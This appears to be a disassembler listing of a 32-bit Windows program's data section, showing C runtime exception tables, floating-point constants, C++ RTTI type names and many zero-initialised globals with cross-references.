		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43BB9C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BC10	dd 3			; DATA XREF: sub_41EFAB+58r
					; sub_421C3C+C8r
dword_43BC14	dd 7			; DATA XREF: sub_41EFAB+5Er
					; sub_421C3C+CDr
dword_43BC18	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_43BC1C	dd 8Ch			; DATA XREF: sub_41EFAB+82r
					; sub_41EFAB+8Fw ...
dword_43BC20	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_43BC28	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_43BC2C	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_43BCB8	dd offset dword_48A320	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_48A320
		dd 101h
dword_43BCC8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_43BCD8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_43BF38	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_43BF40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_43BF58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_43BF74	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_43BF78	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43BF7C	dd offset dword_545350	; DATA XREF: ___:off_43BFFCo
		dd 0Fh dup(0)
off_43BFBC	dd offset dword_544450	; DATA XREF: ___:off_43C000o
		dd 0Fh dup(0)
off_43BFFC	dd offset off_43BF7C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_43C000	dd offset off_43BFBC	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_43C008	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_43C00C	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_43C010	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_43C018	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_43C01C	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_43C020	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_43C024	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43C054	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_43C058	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43C090	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C1F0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43C34C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43C364	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43C384	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset off_424D00
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43C3C8	dd offset off_424D00	; DATA XREF: ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_43C3E8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_43C3EA	dw 0			; DATA XREF: sub_40144A+1E3w
word_43C3EC	dw 0			; DATA XREF: sub_40144A+1E9w
word_43C3EE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_43C3F0	db 0			; DATA XREF: sub_40144A+1F7w
byte_43C3F1	db 0			; DATA XREF: sub_40144A+1FEw
word_43C3F2	dw 0			; DATA XREF: sub_40144A+204w
dword_43C3F4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_43C3F8	dd 0			; DATA XREF: sub_40144A+258w
byte_43C3FC	db 0			; DATA XREF: sub_40144A+26Aw
byte_43C3FD	db 0			; DATA XREF: sub_40144A+27Dw
word_43C3FE	dw 0			; DATA XREF: sub_40144A+295w
word_43C400	dw 0			; DATA XREF: sub_40144A+2A4w
word_43C402	dw 0			; DATA XREF: sub_40144A+29Cw
dword_43C404	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_43C808	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_43C80C	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_43C810	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_43C81C	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_43C824	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_43C828	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_43C830	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_43C838	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_43C83C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_43C848	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_43C84C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 3E6h	dup(0)
dword_43D7E8	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_43D800	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_43D804	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_43D908	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43DA0C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_43DA10	dd 0			; DATA XREF: sub_407252+52w
dword_43DA14	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_43DA18	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_43DA98	dd 0			; DATA XREF: sub_407252+8Fw
dword_43DA9C	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_43DAA0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_43DAA8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_43DAAC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_43DD34	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_43DE38	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_43DE40	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_43DE44	dd 0			; DATA XREF: sub_407252+2E7w
dword_43DE48	dd 0			; DATA XREF: sub_407252+2F4w
dword_43DE4C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_43DE54	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43DE5C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_43DF60	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_43E064	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_43E068	dd 0			; DATA XREF: sub_407252+171w
dword_43E06C	dd 0			; DATA XREF: sub_407252+1EEr
dword_43E070	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_43E0F0	dd 0			; DATA XREF: sub_407252+1AEw
dword_43E0F4	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_43E0F8	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_43E100	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_43E108	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_43E308	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43EB08	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43F308	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43F30C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43F310	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43F314	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43F318	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43F518	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43F520	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43F524	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43F528	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43F52C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43F530	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43F534	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43F538	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43F53C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43F540	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43F544	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43F548	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43F54C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43F550	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43F554	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43F558	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43F55C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43F560	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43F564	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43F568	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43F56C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43F570	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43F574	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43F578	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43F57C	dd 0			; DATA XREF: sub_40981F+B3w
dword_43F580	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43F584	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43F588	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43F58C	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43F590	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43F594	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43F598	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43F59C	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43F5A0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43F5A4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43F5A8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43F5AC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43F5B0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43F5B4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43F5B8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43F5BC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43F5C0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43F5C4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43F5C8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43F5CC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43F5D0	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43F5D4	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43F5D8	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43F5DC	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43F5E0	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43F5E4	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43F5E8	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43F5EC	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43F5F0	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43F5F4	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43F5F8	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43F5FC	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43F600	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43F604	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43F608	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43F60C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43F610	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43F614	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43F618	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43F61C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43F620	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43F624	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43F628	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43F62C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43F630	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43F634	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43F638	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43F63C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43F640	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43F644	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43F648	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43F64C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43F650	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43F654	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43F658	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43F65C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43F660	dd 0			; DATA XREF: sub_40981F+A73w
dword_43F664	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43F668	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43F66C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43F670	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43F674	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43F678	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43F67C	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43F680	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43F684	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43F688	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43F68C	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43F690	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43F694	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43F698	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4626r
dword_43F69C	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43F6A0	dd 0			; DATA XREF: sub_40981F+112w
dword_43F6A4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43F6A8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43F6AC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43F6B0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43F6B4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43F6B8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43F6BC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43F6C0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43F6C4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43F6C8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43F6CC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43F6D0	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43F6D4	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43F6D8	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43F6DC	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43F6E0	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43F6E4	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43F6E8	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43F6EC	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43F6F0	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43F6F4	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43F6F8	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43F6FC	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43F700	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43F704	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43F708	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43F70C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43F710	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43F714	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43F718	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43F720	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43F724	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43F728	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43F72C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43F730	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43F734	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43F738	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43F73C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43F740	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43F744	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43F748	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43F74C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43F750	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43F754	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43F758	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43F75C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43F760	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43F764	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43F768	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43F76C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43F770	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43F774	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43F778	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43F77C	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43F780	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43F784	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43F788	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43F78C	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43F790	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43F794	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43F798	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43F99C	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43F9B0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43F9B4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43F9B8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43F9BC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
